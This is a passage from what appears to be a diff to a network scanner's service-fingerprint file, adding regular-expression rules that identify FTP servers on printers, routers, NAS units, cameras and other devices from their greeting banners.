V([\d.]+) \[experimental\]\) ready\.\r\n| p/Zope Medusa ftpd/ v/$1/ +match ftp m|^220- Novonyx FTP Server for NetWare, v([\d.]+) \(| p/Novonyx ftpd/ v/$1/ o/NetWare/ cpe:/o:novell:netware/a +match ftp m|^220 ([-\w_.]+) \(Aironet (BR\w+) V([\d.]+)\) ready\r\n| p/Aironet $2 wireless bridge ftpd/ v/$3/ d/WAP/ h/$1/ cpe:/h:cisco:aironet_$2/ +match ftp m|^220-Welcome To Rumpus!\r\n220 Service ready for new user\r\n| p/Rumpus ftpd/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a +match ftp m|^220 Hello, I'm freeFTPd ([\d.]+)\r\n| p/FreeFTPd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 PrNET FTP server \(PrNET FTP ([\d.]+)\) ready\.\r\n| p/Panasonic WV-NP1000 webcam ftpd/ v/$1/ d/webcam/ cpe:/h:panasonic:wv-np1000/a +match ftp m|^220-Looking up your hostname\.\.\.\r\n220-Welcome to SimpleFTPd v([\w.]+) by MagicalTux| p/SimpleFTPd/ v/$1/ +match ftp m|^220 IB-21E Ver ([\d.]+) FTP server\.\r\n| p/Kyocera IB-21E print server ftpd/ v/$1/ d/print server/ cpe:/h:kyocera:ib-21e/a +match ftp m|^220 IB-23 Ver ([\d.]+) FTP server\.\r\n| p/Kyocera FS-1000D-series print server ftpd/ v/$1/ d/print server/ +match ftp m|^220 SurgeFTP ([-\w_.]+) \(Version ([\w.]+)\)\r\n| p/SurgeFTPd/ v/$2/ h/$1/ cpe:/a:netwin:surgeftp:$2/ +match ftp m|^220 Disk Station FTP server at ([-\w_.]+) ready\.\r\n| p/Synology NAS ftpd/ d/storage-misc/ h/$1/ +match ftp m|^220 FTP Merak ([\d.-]+)\r\n| p/Merak ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^refused in\.ftpd from [-\w_.]+ logged\n| p/tcpwrapped ftpd/ i/refused/ +match ftp m|^220 Ipswitch Notification Server| p/Ipswitch notification ftpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220-?\s+SSH-[\d.]+-([a-zA-Z]+)| p/FTP masquerading as $1/ i/**BACKDOOR**/ +match ftp m|^220 Xlight FTP Server ([\d.]+) ready\.\.\.\r\n| p/Xlight ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Xlight Server ([\d.]+) ready\.\.\. \r\n| p/Xlight ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 NetTerm FTP server ready \r\n| p/NetTerm ftpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 SHARP ([\w-]+) FTP server ready\.\r\n| p/Sharp $1 printer ftpd/ d/printer/ cpe:/h:sharp:$1/a +match ftp m|^220 SHARP ([\w-]+) Ver ([\w._-]+) FTP server\.\r\n| p/SHARP $1 printer ftpd/ v/$2/ d/printer/ +match ftp m|^220 (FS-\w+) FTP server\.?\r\n| p/Kyocera $1 printer ftpd/ d/printer/ cpe:/h:kyocera:$1/ +match ftp m|^220 Scala FTP \(\"Scala InfoChannel Player \d+\" ([\w/.]+)\)\r\n| p/Scala InfoChannel Player ftpd/ v/$1/ d/media device/ +match ftp m|^220 FTP Services for ClearPath MCP: Server version ([\d.]+)\r\n| p/Unisys ClearPath MCP ftpd/ v/$1/ +match ftp m|^220 Nut/OS FTP ([\d.]+) beta ready at| p|Nut/OS Demo ftpd| v/$1/ o|Nut/OS| cpe:/o:ethernut:nut_os/a +match ftp m|^ftpd - accept the connection from [\d.]+\n220-eDVR FTP Server v([\d.]+) \(c\)Copyright WebGate Inc\. \w+-\w+\r\n220-Welcome to (DS\w+)\r\n220 You will be disconnected after 180 seconds of inactivity\.\r\n| p/WebGate $2 eDVR camera ftpd/ v/$1/ d/webcam/ +match ftp m|^220 FTP-Backupspace\r\n$| p/STRATO backup ftpd/ +match ftp m|^220-.* \(([-\w_.]+)\)\r\n Synchronet FTP Server ([-\w_.]+)-Win32 Ready\r\n| p/Synchronet ftpd/ v/$2/ o/Windows/ h/$1/ cpe:/a:rob_swindell:synchronet:$2/ cpe:/o:microsoft:windows/a +match ftp m|^220 Welcome to (DCS-\w+) FTP Server\r\n$| p/D-Link $1 webcam ftpd/ d/webcam/ cpe:/h:dlink:$1/a +match ftp m|^220 X5 FTP server \(version ([\d.]+)\) ready\.\r\n| p/Zoom ADSL modem/ i/X5 $1/ d/broadband router/ +match ftp m|^220 zFTPServer v([-\w_.]+), build ([-\d]+)| p/zFTPServer/ v/$1 build $2/ o/Windows/ cpe:/a:vaestgoeta-data:zftpserver:$1/ cpe:/o:microsoft:windows/a +match ftp m|^220 Welcome to zFTPServer\r\n| p/zFTPServer/ o/Windows/ cpe:/a:vaestgoeta-data:zftpserver/ cpe:/o:microsoft:windows/a +match ftp m|^220 FRITZ!BoxWLAN(\d+)(?:\(UI\))? FTP server ready\.\r\n| p/FRITZ!Box WLAN $1 WAP ftpd/ d/WAP/ +match ftp m|^220 FRITZ!BoxFonWLAN(\w+)(?:\(\w+\))? FTP server ready\.\r\n| p/FRITZ!Box Fon WLAN $1 WAP ftpd/ d/WAP/ +match ftp m|^220 FRITZ!Box Fon WLAN (\d+) FTP server ready\.\r\n| p/FRITZ!Box Fon WLAN $1 WAP ftpd/ d/WAP/ +match ftp m|^220 FRITZ!Box(\w+)Cable\(um\) FTP server ready\.\r\n| p/FRITZ!Box $1 cable modem ftpd/ d/broadband router/ +match ftp m|^220 CompuMaster SRL, WT-6500 Ftp Server \(Version ([\d.]+)\)\.\r\n| p/CompuMaster WT-6500 ThinClient ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^211 Hello \[[-\w_.]+\], Secure/IP Authentication Server ([-\w_.]+) at your service\.\r\n| p|OpenVMS Secure/IP ftpd| v/$1/ o/OpenVMS/ cpe:/o:hp:openvms/a +match ftp m|^220 HP166XC V([-\w_.]+) FUSION FTP server \(Version ([-\w_.]+)\) ready\.\r\n| p/HP166XC $1 Logic Analyzer ftpd/ i/FUSION ftpd $2/ d/specialized/ +match ftp m|^220 FTP Server, type 'quote help' for help\r\n$| p/Polycom VSX 8000 ftpd/ d/webcam/ cpe:/h:polycom:vsx_8000/a +match ftp m|^550 no more people, max connections is reached\r\n| p/Avalaunch XBOX ftpd/ i/Max connections reached/ d/game console/ +match ftp m|^220 Fastream IQ FTP Server\r\n| p/Fastream IQ ftpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 RICOH Aficio ([\w ._+-]+?) FTP server \(([-\w_.]+)\) ready\.\r\n| p/Ricoh Aficio $1 printer ftpd/ v/$2/ d/printer/ cpe:/h:ricoh:aficio_$1/a +match ftp m|^220 RICOH Aficio ([\w ._+-]+?) \(([-\w_.]+)\) FTP server ready\r\n| p/Ricoh Aficio $1 printer ftpd/ v/$2/ d/printer/ cpe:/h:ricoh:aficio_$1/a +match ftp m|^220 HIOKI ftp service v([\d.]+)\r\n| p/Hioki HiCorder 8855 ftpd/ v/$1/ d/specialized/ +match ftp m|^220 Treck FTP server ready\.\r\n| p/Treck Embedded ftpd/ +match ftp m|^220 Microtest SuperCD-cdserver FTP server \(Version V([\w._-]+)\) ready\.\r\n| p/Axonix SuperCD ftpd/ v/$1/ d/media device/ +match ftp m|^220 FTP service \(Ftpd ([\d.]+)\) ready on ([\w._-]+) at| p/Minix ftpd/ v/$1/ o/Minix/ h/$2/ cpe:/a:minix:ftpd:$1/ cpe:/o:minix:minix/a +match ftp m|^220 Cube Station FTP server at ([\w._-]+) ready\.\r\n| p/Synology CubeStation ftpd/ h/$1/ +match ftp m|^220 Xerox Phaser (\w+)\r\n421 Service not available, closing control connection\r\n| p/Xerox Phaser $1 ftpd/ d/printer/ cpe:/h:xerox:phaser_$1/a +match ftp m|^220 CrossFTP Server ready for new user\.\r\n| p/CrossFTP java ftpd/ +match ftp m|^220 ATAboy2X-\d+ FTP V([\w._-]+) ready\n| p/ATAboy2X ftpd/ v/$1/ d/storage-misc/ +match ftp m|^220 Belkin Network USB Hub Ver ([\w._-]+) FTP server\.\r\n| p/Belkin USB hub ftpd/ v/$1/ +match ftp m|^220-TCP/IP for VSE FTP Daemon Version ([\w._-]+) | p/VSE ftpd/ v/$1/ o|z/VSE| cpe:/o:ibm:z%2fvse/ +match ftp m|^220 FTP server: Lexmark Optra LaserPrinter ready\r\n| p/Lexmark Optra LaserPrinter ftpd/ d/printer/ +match ftp m|^220 NSE \(AG (\d+) v([\w._-]+)\) FTP server ready\r\n| p/Nomadix AG $1 ftpd/ v/$2/ d/WAP/ cpe:/h:nomadix:ag_$1/a +match ftp m|^220 Welcome to Easy File Sharing FTP Server!\r\n| p/Easy File Sharing ftpd/ o/Windows/ cpe:/a:efssoft:easy_file_sharing_ftp_server/ cpe:/o:microsoft:windows/a +match ftp m|^220- \*+\r\n220- \r\n220- Welcome to Dream FTP Server\r\n220- Copyright 2002 - 2004\r\n220- BolinTech Inc\.\r\n| p/BolinTech Dream FTP Server/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Welcome to the Netburner FTP server\.\r\n| p/Netburner embedded device ftpd/ d/specialized/ +match ftp m|^220 NetBotz FTP Server ([\w._-]+) ready\.\r\n| p/NetBotz network monitor ftpd/ v/$1/ d/security-misc/ +match ftp m|^220 TOSHIBA e-STUDIO5500c FTP server \(([\w._-]+)\) ready\.\r\n| p/Toshiba e-STUDIO5500c printer ftpd/ v/$1/ d/printer/ cpe:/h:toshiba:e-studio5500c/a +match ftp m|^220 \(WJ-HD220 FTP Server version ([\w._-]+) Ready\)\r\n| p/Panasonic WJ-HD220 ftpd/ v/$1/ d/media device/ +match ftp m|^(?:220-.*\r\n)*220 ([\w._-]+) FTP server \(EMC-SNAS: ([\w._-]+)\) ready\.\r\n| p/EMC Scalable Network Accelerator ftpd/ v/$2/ h/$1/ +match ftp m|^220-CentOS release ([\w._-]+) .*\r\n220 ProFTPD ([\w._-]+) Server \(ProFTPD Default Installation\)|s p/ProFTPD/ v/$2/ i/CentOS $1/ o/Linux/ cpe:/a:proftpd:proftpd:$2/a cpe:/o:centos:centos/ +match ftp m|^220 TCAdmin FTP Server\r\n| p/Balance Servers TCAdmin game hosting ftpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^.* klogd: klogd started: BusyBox v([\w._-]+) \(.*\)\r\nDoing BRCTL \.\.\.\r\nsetfilter br0 0 \r\n/var/tmp/act_firewall: No such file or directory\r\n| p/Actiontec router ftpd/ i/firewall broken; BusyBox $1/ d/broadband router/ cpe:/a:busybox:busybox:$1/ +# these should be fine. embyte +match ftp m|^220 .*BlackJumboDog Version ([^ ]+)| p/Blackjumbodog FTPd/ v/$1/ +match ftp m|^220[- ] ?[Cc]rob FTP [Ss]erver [Vv]?([-.\d\w]+)| p/Crob FTPd/ v/$1/ +match ftp m|^220.* GlobalSCAPE Secure FTP Server \(v\. ([^\)]+)\)| p/GlobalSCAPE Secure FTPd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 GlobalSCAPE Secure FTP Server\r\n| p/GlobalSCAPE Secure FTPd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Mollensoft FTP Server ([^ ]+) Ready\.| p/Mollensoft FTPd/ v/$1/ +match ftp m|^220 Welcome to Ocean FTP Server.| p/Ocean FTPd/ +match ftp m|^220 4dftp .* FTP Service \(Version ([^)]+)\)| p/WebStar 4dftp/ v/$1/ +match ftp m|^220 IBM NPS 540\+/542\+ FTP Printer Server V([\w._-]+) | p|IBM NPS 540+/542+ print server ftpd| v/$1/ d/print server/ +match ftp m|^220 ([\w._-]+) FTP server \(mmftpd \(([\w._/-]+)\)\) ready\r\n| p/mmftpd/ v/$2/ h/$1/ +match ftp m|^220 C500 FTP Server ([\w._-]+) ready\.\n| p/Lexmark C500 printer ftpd/ v/$1/ d/printer/ cpe:/h:lexmark:c500/a +match ftp m|^220-TiMOS-\w+-([\w._-]+) cpm/hops ALCATEL ESS 7450 Copyright \(c\) 2000-2007 Alcatel-Lucent\.\r\n| p/Alcatel-Lucent ESS 7450 router ftpd/ v/$1/ d/router/ o/TiMOS/ cpe:/h:alcatel-lucent:ess_7450/a cpe:/o:alcatel-lucent:timos/ +match ftp m|^220 SAVIN 8055 FTP server \(([\w._-]+)\) ready\.\r\n| p/Savin 8055 printer ftpd/ v/$1/ d/printer/ cpe:/h:savin:8055/a +match ftp m|^220 TANDBERG Satellite Modulator SM6600\r\n| p/Tandberg SM6600 Satellite Modulator ftpd/ d/media device/ +match ftp m|^220 SUN StorEdge 3511 RAID FTP server ready\.\r\n| p/Sun StorEdge 3511 ftpd/ d/storage-misc/ +match ftp m|^220 IFT ([\w._-]+) RAID FTP server ready\.\r\n| p/Infortrend EonStor $1 ftpd/ d/storage-misc/ +match ftp m|^421 Closing non-secure connections in Secure Mode\. \r\n| p/Polycom VSX 7000A VoIP phone ftpd/ d/VoIP phone/ cpe:/h:polycom:vsx_7000a/a +match ftp m|^220-Sami FTP Server ([\w._-]+)\r\n| p/KarjaSoft Sami ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 DrFTPD ([\w._-]+) http://drftpd\.org\r\n| p/DrFTPD/ v/$1/ +match ftp m|^220 DrFTPD\+ ([\w._-]+) \(\+STABLE\+\) \$Revision: (\d+) \$ http://drftpd\.org\r\n| p/DrFTPD/ v/$1 revision $2/ +match ftp m|^220 Conti FTP Server ready\r\n| p/Conti ftpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Welcome to Mobile File Service\r\n\r\n| p|HTC P4000 PDA/Phone ftpd| d/PDA/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Welcome to Topfield PVR FTP server\r\n| p/Topfield HDPVR satellite decoder ftpd/ d/media device/ +match ftp m|^220 ([\w._-]+) FTP server \(WS2000 FTPD Server\) ready\.\r\n| p|Motorola/Symbol WS2000 WAP ftpd| d/WAP/ h/$1/ +match ftp m|^220 ADH FTP SERVER READY TYPE HELP FOR HELP \r\n| p/AD Network Video Dedicated Micros DVR ftpd/ d/webcam/ +match ftp m|^220 TDS400 FTP Service \(Version ([\w._-]+)\)\.\r\n| p/TDS400 printer ftpd/ v/$1/ d/printer/ +match ftp m|^220 ---freeFTPd 1\.0---warFTPd 1\.65---\r\n| p/Nepenthes HoneyTrap fake vulnerable ftpd/ +match ftp m|^220- \w+\r\n220 FTP Server powered by: Quick 'n Easy FTP Server\r\n| p/Quick 'n Easy FTP Server/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220-National Instruments FTP\r\n220 Service Ready \r\n| p/National Instruments LabVIEW ftpd/ d/specialized/ cpe:/a:ni:labview/ +# The ASCII spells "FREETZ". +match ftp m=^220- __ _ __ __ ___ __\r\n220- \|__ \|_\) \|__ \|__ \| /\r\n220- \| \|\\ \|__ \|__ \| /_\r\n220-\r\n220- The fun has just begun\.\.\.\r\n220 \r\n= p/vsftpd/ i/Freetz firmware for AVM Fritz!Box/ d/WAP/ cpe:/a:vsftpd:vsftpd/ +match ftp m|Permission denied\.\(Please check access control list\)\r\nPermission denied\.\(Please check access control list\)\r\n\n\rSystem administrator is connecting from [\d.]+\n\rReject the connection request !!!\n\r\n\rSystem administrator is connecting from [\d.]+\n\rReject the connection request !!!\n\r| p/DrayTek Vigor 2820 ADSL router ftpd/ i/access denied/ d/broadband router/ cpe:/h:draytek:vigor_2820/a +match ftp m|^550 Permission denied\.\(Too many user login!!!\)\r\nPermission denied\.\(Please check access control list\)\r\n| p/DrayTek Vigor 2820n ADSL router ftpd/ i/access denied/ d/broadband router/ cpe:/h:draytek:vigor_2820n/a +match ftp m|^220-FTPSERVE IBM VM Level (\d)(\d+) at ([\w._-]+), [^\r\n]*\r\n220 Connection will close if idle for more than 5 minutes\.\r\n| p/IBM FTPSERVE/ o|z/VM $1.$2| h/$3/ cpe:/o:ibm:z%2fvm:$1.$2/ +match ftp m|^220 MeritFTP ([\d.]+) at ([\d.]+) ready\.\r\n| p/Merit Megatouch game device ftpd/ v/$1/ d/specialized/ h/$2/ +match ftp m|^220 NET\+OS ([\d.]+) FTP server ready\.\r\n503 Bad sequence of commands\r\n| p/NET+OS ftpd/ i/NET+OS $1/ o/NET+OS/ cpe:/o:digi:net%2bos:$1/ +match ftp m|^220 Welcome to the NSLU2 vsftp daemon\.\r\n| p/vsftpd/ i/NSLU2 NAS device/ d/storage-misc/ cpe:/a:vsftpd:vsftpd/ +match ftp m|^220- Menuet FTP Server v([\d.]+)\r\n220 Username and Password required\r\n| p/Menuet FTP Server/ v/$1/ o/MenuetOS/ cpe:/o:menuetos:menuetos/ +match ftp m|^220 Xyratex (\w+) RAID FTP server ready\.\r\n| p/Xyratex $1 RAID NAS device ftpd/ d/storage-misc/ +match ftp m|^220 MLT-57066 Version ([\w.]+) ready\.\r\n| p/Minolta PagePro 20 printer ftpd/ v/$1/ cpe:/h:minolta:pagepro_20/a +match ftp m|^220 tandem FTP SERVER \w+ \(Version ([\w.]+) TANDEM \w+\) ready\.\r\n| p/Tandem FTP server/ v/$1/ i/Tandem Himalaya K2000/ o/GuardianOS/ cpe:/o:tandem:guardian/ +match ftp m|^220 ZBR-(\d+) Version ([\d.]+) ready\.\r\n| p/Zebra print server ftpd/ v/$2/ i/firmware $1/ +match ftp m|^220 ([\w._-]+) pSOSystem FTP server \(@\(#\)\(#\)pVER IA/MIPS, Version ([\w._ -]+), Built on ([\d/]+)\) ready\.\r\n| p/pSOSystem ftpd/ v/$2/ i/MIPS; build date $3/ o/pSOS/ h/$1/ cpe:/o:scg:psos/ +match ftp m|^220 ([\w._-]+) pSOSystem FTP server \(@\(#\)\(#\)pVER IA/PPC, Version ([\w._ -]+), Built on ([\d/]+)\) ready\.\r\n| p/pSOSystem ftpd/ v/$2/ i/PowerPC; build date $3/ o/pSOS/ h/$1/ cpe:/o:scg:psos/ +match ftp m|^220 ([\w._-]+) pSOSystem FTP server \(Network Utilities for /68k-MRI/([\w._-]+) - Network Utility\) ready\.\r\n| p/pSOSystem ftpd/ v/$2/ i/m68k/ o/pSOS/ h/$1/ cpe:/o:scg:psos/ +match ftp m|^220 Star IFBD-HE05/06 FTP Server\.\r\n| p/Star Micronics TSP828L printer ftpd/ d/printer/ cpe:/h:starmicronics:tsp828l/a +match ftp m|^220 Welcome to Baby FTP Server\r\n| p/Baby FTP Server/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 ([\w_.-]+) FTP server \(witelcom ([\d.]+)\) ready\r\n| p/Witelcom router ftpd/ v/$2/ d/router/ h/$1/ +match ftp m|^220 SwiFTP ready\r\n| p/SwiFTP/ i/Android phone/ d/phone/ o/Linux/ cpe:/o:linux:linux_kernel/a +match ftp m|^220 SwiFTP ([\w._-]+) ready\r\n| p/SwiFTP/ v/$1/ i/Android phone/ d/phone/ o/Linux/ cpe:/o:linux:linux_kernel/a +match ftp m|^220 EFI FTP Print server ready\.\r\n| p/EFI Fiery ftpd/ d/print server/ +match ftp m|^220 infotec IS (\d+) FTP server \(([\w.]+)\) ready\.\r\n| p/Infotec IS $1 ftpd/ v/$2/ +match ftp m|^220- Print Server ([\d.]+ \([^)]*\))\r\n220 FTP server \(Version ([^)]*)\) ready\.\r\n| p/Roland plotter print server ftpd/ v/$2/ i/print server version $1/ +match ftp m|^220 FTP Server \(ZyWALL (USG \w+)\) \[[\w._-]+\]\r\n| p/ZyWALL $1 firewall ftpd/ d/firewall/ +match ftp m|^220 Connected to IndiFTPD\r\n| p/IndiFTPD/ +match ftp m|^220 EasyCoder FTP Server v\.([\d.]+) ready\.\r\n| p/Intermec PM4i printer ftpd/ v/$1/ d/printer/ cpe:/h:intermec:pm4i/a +match ftp m|^220 ALFTP Server ready\. \^-\^\)/~\r\n| p/ALFTP/ +match ftp m|^220 ftp server corona \(([\w._-]+)\)\r\n| p/THEOS Corona ftpd/ v/$1/ o/THEOS/ cpe:/o:theos:theos/ +match ftp m|^220 vxTarget FTP server \(VxWorks ([\d.]+)\) ready\.\r\n| p/vxTarget ftpd/ i/VxWorks $1/ o/VxWorks/ cpe:/o:windriver:vxworks:$1/ +match ftp m|^220-Welcome to the S60 Dumb FTP Server \(dftpd\)\r\n| p/Dumb FTP Server (dftpd)/ d/phone/ o/Symbian/ cpe:/o:symbian:symbian/ +match ftp m|^220-Local time is now [\d:]+\r\n220 You will be disconnected after 300 seconds of inactivity\.\r\n| p/DViCO TVIX 6500A set top box ftpd/ d/media device/ +match ftp m|^220 ET(\w+) ([\w-]+) Series FTP Server ready\.\r\n| p/Lexmark $2 series printer ftpd/ i/MAC: $1/ d/printer/ +match ftp m|^220 aFTPServer ready \(cwd is /\)\r\n$| p/FTPServer/ d/phone/ o/Linux/ cpe:/o:linux:linux_kernel/a +match ftp m|^220 BCB1COOL Server \(Proftpd FTP Server\) \[([\w._-]+)\]\r\n| p/ProFTPD/ h/$1/ cpe:/a:proftpd:proftpd/ +match ftp m|^220 FTP version ([\w.]+)\r\n| p/DrayTek Vigor ADSL router ftpd/ v/$1/ d/broadband router/ +match ftp m|^220 FTP version ([\w.]+)\r\n331 Enter PASS command\r\n$| p/DrayTek Vigor ADSL router ftpd/ v/$1/ d/broadband router/ +match ftp m|^220 Core FTP Server Version ([\w._-]+, build \d+), installed (\d+ days ago) Registered\r\n| p/Core FTP Server/ v/$1/ i/installed $2/ cpe:/a:coreftp:core_ftp:$1/ +match ftp m|^220 Core FTP Server Version ([\w._-]+, build \d+) Registered\r\n| p/Core FTP Server/ v/$1/ cpe:/a:coreftp:core_ftp:$1/ +match ftp m|^220-.*\r\n220 ([\w._-]+) FTP Server \(Apache/([\w._-]+) \(Linux/SUSE\)\) ready\.\r\n| p/Apache mod_ftpd/ v/$2/ o/Linux/ h/$1/ cpe:/a:apache:http_server/ cpe:/o:linux:linux_kernel/a +match ftp m|^220 pyftpdlib ([\w._-]+) ready\.\r\n| p/pyftpdlib/ v/$1/ cpe:/a:giampaolo_rodola:pyftpdlib/ +match ftp m|^220 pyftpdlib based ftpd ready\.\r\n| p/pyftpdlib/ v/1.0.0 or later/ cpe:/a:giampaolo_rodola:pyftpdlib/ +match ftp m|^220 pyftpdlib (\d[\w._-]*) based ftpd ready\.\r\n| p/pyftpdlib/ v/$1/ cpe:/a:giampaolo_rodola:pyftpdlib:$1/ +match ftp m|^220 Simple FTP daemon coming up!\r\n| p/A+V Link NVS-4000 surveillance system ftpd/ d/webcam/ +match ftp m|^220 DiskStation FTP server ready\.\r\n| p/Synology DiskStation NAS ftpd/ d/storage-misc/ +match ftp m|^220 DiskStation-([\w._-]+) FTP server ready\.\r\n| p/Synology Disk Station DS-$1 NAS ftpd/ d/storage-misc/ +# "1.0" number doesn't seem to reflect the true version number. +match ftp m=^220- Ftp Site Powerd by BigFoolCat Ftp Server 1\.0 \(meishu1981@(?:163\.com|gmail\.com)\)\r\n220- Welcome to my ftp server\r\n220 \r\n= p/EasyFTP Server ftpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 <\w+> Tenor Multipath Switch FTP server \(Version VxWorks([\w._-]+)\) ready\.\r\n| p/Tenor Multipath Switch ftpd/ d/switch/ o/VxWorks $1/ cpe:/o:windriver:vxworks:$1/ +match ftp m|^220 Welcome to Tenor Multipath Switch\.\r\n| p/Tenor Multipath Switch ftpd/ d/switch/ +match ftp m|^220 Imagistics ZB3500080 Ver ([\w._-]+) FTP server\.\r\n| p/Sharp AR-C260M or AR-M351N printer ftpd/ v/$1/ d/printer/ +match ftp m|^220 ([\w._-]+) FTP SERVER T9552G07 \(Version ([\w._-]+) TANDEM ([\w._-]+)\) ready\.\r\n| p/HP Tandem NonStop ftpd/ v/$2 $3/ h/$1/ +match ftp m|^220 iFTP server v([\w._-]+)\n| p/inLighten iBox digital signage ftpd/ v/$1/ d/media device/ +match ftp m|^120 The user queue is full, please try again later\.\r\n| p/Huawei Quidway AR28-09 WAP ftpd/ i/user queue is full/ d/WAP/ cpe:/h:huawei:quidway_ar28-09/a +match ftp m|^220 Mabry \(FtpServX COM Object\) server ready\.\r\n| p/Mabry FTPServX/ +match ftp m|^220 ([\w._-]+) FTP server \(InterCon version ([\w._-]+)\) ready\.\r\n| p/Kyocera Mita TASKalfa 300ci printer ftpd/ v/$2/ h/$1/ cpe:/h:kyocera:mita_taskalfa_300ci/a +match ftp m|^220 [\w._-]+Citizen_CLP([\w._-]+) FTP server \(InterCon version ([\w._-]+)\) ready\.\n| p/Citizen CLP-$1 label printer ftpd/ v/$2/ d/printer/ +match ftp m|^220 FileApp - FTP Server\r\n| p/DigiDNA FileApp ftpd/ o/iOS/ cpe:/o:apple:iphone_os/a +match ftp m=^220 (?:SHARP|Sharp) ([\w._-]+) Ver ([\w._+-]+) FTP server\.\r\n= p/Sharp $1 printer ftpd/ v/$2/ cpe:/h:sharp:$1/a +match ftp m|^220 Nucleus FTP Server \(Version ([\w._-]+)\) ready\.\r\n| p/Nucleus ftpd/ v/$1/ +match ftp m|^220 -= HyNetOS FTP Server =-\r\n500 Command \(null\) not understood\r\n| p/HyNetOS ftpd/ cpe:/o:hyperstone:hynetos/ +match ftp m|^230 User logged in\.\r\n214-The following commands are recognized\.\r\n214-USER\r\n214-PASS\r\n214-XPWD\r\n214-PWD\r\n214-TYPE\r\n214-PORT\r\n214-EPRT\r\n214-PASV\r\n214-EPSV\r\n214-ALLO\r\n214-STOR\r\n214-APPE\r\n214-RETR\r\n214-LIST\r\n214-NLST\r\n214-SYST\r\n214-MDTM\r\n214-XCWD\r\n214-CWD\r\n214-XCUP\r\n214-CDUP\r\n214-DELE\r\n214-XMKD\r\n214-MKD\r\n214-XRMD\r\n214-RMD\r\n214-NOOP\r\n214-RNFR\r\n214-RNTO\r\n214-REST\r\n214-SIZE\r\n214-QUIT\r\n214-HELP\r\n214-STAT\r\n214-SITE\r\n214-FEAT\r\n214-ADMIN_LOGIN\r\n214-MGET\r\n214-MPUT\r\n214-OPTS\r\n214 End of help\r\n$| p/Netgear 3500L WAP ftpd/ d/WAP/ cpe:/h:netgear:3500l/a +match ftp m|^220-\*{53}\r\n220-Welcome to FTP\r\n220-Please use your email address and password to login\.\r\n220-If you are registered for more than one site then your login name must be: yourcompany\.com/you@youremail\.com\.\r\n220-\*{53}\r\n220-\r\n220 FTP Server Ready\r\n| p/Adobe Business Catalyst CMS ftpd/ +match ftp m|^220 Welcome to the ftp service\r\n| p/Dionaea honeypot ftpd/ +match ftp m|^220 silex ([\w._-]+) Ver ([\w._-]+) FTP server\.\r\n| p/Silex $1 USB server ftpd/ v/$2/ +match ftp m|^220-Tracker RIA, 12090011\r\n220-Local time ([\d:]+)\r\n220 You will be disconnected after 180 seconds of inactivity\.\r\n| p/Bomara Tracker 2740 multipurpose server ftpd/ i/local time: $1/ +match ftp m|^220 Comau ([\w._-]+) FTP server \(Version ([\w._-]+); Sys_id:([\w._-]+)\) [\d-]+ ready\.\r\n| p/Comau $1 robot control unit ftpd/ v/$2/ i/system id: $3/ d/specialized/ +match ftp m|^220 CW([\w._-]+) FTP Service \(Version ([\w._-]+)\)\.\r\n| p/Océ ColorWave $1 printer ftpd/ v/$2/ d/printer/ +match ftp m|^220 CONNECT:Enterprise Gateway ([\w._-]+)\. FTP Server ready\.\.\.\r\n| p/Sterling Connect:Enterprise ftpd/ v/$1/ cpe:/a:ibm:sterling_connect:$1/ +match ftp m|^220-Playstation 3 FTP \r\n220 Copyleft \(c\) \d+ multiMAN \(login as anonymous\) \r\n| p/multiMAN ftpd/ i/PlayStation 3/ d/game console/ +match ftp m|^220 ([\w._-]+) (BV[\w._-]+) FTP server \(V([\w._-]+)\) ready\.\r\n| p/OKI $2 VoIP adapter ftpd/ v/$3/ d/VoIP adapter/ h/$1/ +match ftp m|^220 ([\w._-]+) \(Libra FTP daemon ([\w._ -]+)\)\r\n| p/Libra ftpd/ v/$2/ h/$1/ +match ftp m|^220 (KM-[\w._-]+) FTP server\r\n| p/Kyocera Mita $1 printer ftpd/ d/printer/ cpe:/h:kyocera:mita_$1/a +match ftp m|^220 Welcome to Solar FTP Server \(http://solarftp\.com\)\r\n| p/Solar FTP Server/ o/Windows/ cpe:/o:microsoft:windows/ +match ftp m|^220 Indy FTP-Server bereit\.\r\n| p/Indy FTP server/ i/German/ cpe:/a:indy:ftp_server::::de/ +match ftp m|^220-Welcome to the Ascotel FTP server\r\n220 \r\n| p/Aastra A150 VoIP phone ftpd/ d/VoIP phone/ cpe:/h:aastra:a150/a +match ftp m|^220 \(none\) FTP server \(Version ([\w._-]+/OpenBSD/Linux-ftpd-[\w._-]+)\) ready\.\r\n| p/Topfield TF7100HDPVRt DVR ftpd/ v/$1/ d/media device/ +match ftp m|^220 EthernetBoard OkiLAN ([\w._-]+) Ver ([\w._-]+) FTP server\.\r\n| p/OkiDATA OkiLAN $1 print server ftpd/ v/$2/ d/print server/ +match ftp m|^220 Comtrend FTP firmware update utility\r\n| p/Comtrend FTP firmware update utility/ +match ftp m|^220 Wing FTP Server ([\w._-]+) ready\.\.\.\r\n| p/Wing FTP Server/ v/$1/ cpe:/a:wingftp:wing_ftp_server:$1/ +match ftp m|^220 Wing FTP Server ready\.\.\. \(UNREGISTERED WING FTP SERVER\)\r\n| p/Wing FTP Server/ i/unregistered/ cpe:/a:wingftp:wing_ftp_server/ +match ftp m|^220 Wing FTP Server ready\.\.\.\r\n| p/Wing FTP Server/ cpe:/a:wingftp:wing_ftp_server/ +match ftp m|^220-\xa1\xee Sonic FTP Server \(Version ([\w._-]+)\)\.\r\n220-\xa1\xee | p/Sonic FTP 